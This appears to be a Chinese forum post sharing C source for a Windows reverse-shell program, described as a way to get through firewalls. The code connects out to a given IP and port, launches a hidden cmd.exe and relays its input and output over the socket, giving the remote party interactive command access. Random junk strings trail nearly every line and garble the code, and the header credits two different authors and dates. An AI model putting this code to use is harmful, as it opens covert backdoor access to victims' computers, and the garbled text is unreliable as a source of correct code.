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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @1 U&UH  
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/* ============================== lmxr oHE  
Rebound port in Windows NT -t2+|J*  
By wind,2006/7 -#2)?NkeE  
===============================*/ @:U+9[  
#include v}tag#f5>?  
#include @ W^| ?  
_=NwQu\_F  
#pragma comment(lib,"wsock32.lib") }p!HT6 tZ  
~d%Pnw|  
void OutputShell(); FFH_d <q  
SOCKET sClient; <oWB0%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q@@T]V6  
t@R ?Rgu3  
void main(int argc,char **argv) -GqT7`:(H4  
{ &p}$J )q  
WSADATA stWsaData; n%k!vJ)]  
int nRet; $`wMX{  
SOCKADDR_IN stSaiClient,stSaiServer; VsN pHQG]  
awOd_![c'  
if(argc != 3) mFSw@CC  
{ H]$)Eg%6  
printf("Useage:\n\rRebound DestIP DestPort\n"); lNL6M%e$Q  
return; #%D_Y33;  
} t: IN,Kl4  
MH{GR)ng:9  
WSAStartup(MAKEWORD(2,2),&stWsaData); 05spovO/'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K,w"_T  
UQ+?\wi*  
stSaiClient.sin_family = AF_INET; VH(S=G5Yb  
stSaiClient.sin_port = htons(0); F@*+{1R  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )QG<f{wS  
qOUqs'7/]  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) E[*Fz1>  
{ >2Jdq  
printf("Bind Socket Failed!\n"); +=mkCU  
return; ,daKC  
} ^~$)F_`"  
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stSaiServer.sin_family = AF_INET; UY<e&Npo  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FI<q@HF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :J :, m  
g=2Rqi5  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g*F'[Z."  
{ RtCkVxaEx  
printf("Connect Error!"); 5e}A@GyC  
return; OzQ -7|m'J  
} ]Lm9^q14m  
OutputShell(); dpFVN[\oK  
} ,uPJ_oZs  
y /BJIQ  
void OutputShell() xritonG/F  
{ ]_8qn'7  
char szBuff[1024]; i@B[ eta  
SECURITY_ATTRIBUTES stSecurityAttributes; ~>:Z6Le@   
OSVERSIONINFO stOsversionInfo; KrXdnY8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ai/b\:V9S  
STARTUPINFO stStartupInfo; g"L|n7_b  
char *szShell; pFm=y#!t  
PROCESS_INFORMATION stProcessInformation; $ KRI'4  
unsigned long lBytesRead; GHHav12][  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Udc=,yo3Qm  
 (:";i&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h[?O+Z^  
stSecurityAttributes.lpSecurityDescriptor = 0; *$"gaXI  
stSecurityAttributes.bInheritHandle = TRUE; ynB_"mg  
z)xSN;x  
>(<ytnt=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Hsihytdj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !j\" w p  
:gB[O>'<m  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); UTSL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }?@rO`:EF+  
stStartupInfo.wShowWindow = SW_HIDE; 1=nUW":  
stStartupInfo.hStdInput = hReadPipe; GV^i`r^"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C-?%uF  
Q3 eM2i8Y  
GetVersionEx(&stOsversionInfo); (^5 7UmFv]  
=1u@7Bh  
switch(stOsversionInfo.dwPlatformId) m "M("%  
{ ncX/L[L  
case 1: <d<mvXbw_@  
szShell = "command.com"; cPl`2&p  
break; 1t Jg#/?  
default: uU> wg*m  
szShell = "cmd.exe"; 8srBHslI  
break; #!9S}b$  
} Kv@e I$t5  
[J C:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v"MX>^/<  
] )"u+  
send(sClient,szMsg,77,0); {w8 NN-n  
while(1) yR~R:  
{ LT~YFS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); LFZ iPu  
if(lBytesRead) GCttXAto  
{ =L5GhA~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Maqf[ Vky  
send(sClient,szBuff,lBytesRead,0); p)=~% 7DV  
} YqV8D&I  
else 37q@rDm2  
{ ~+H" -+  
lBytesRead=recv(sClient,szBuff,1024,0); -wv6s#"u  
if(lBytesRead<=0) break; 2iU7 0(H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VN 'Wq7>6  
} W>=o*{(YO  
} N 6T{  
4_D@ST%  
return; o%4Gd~  
}
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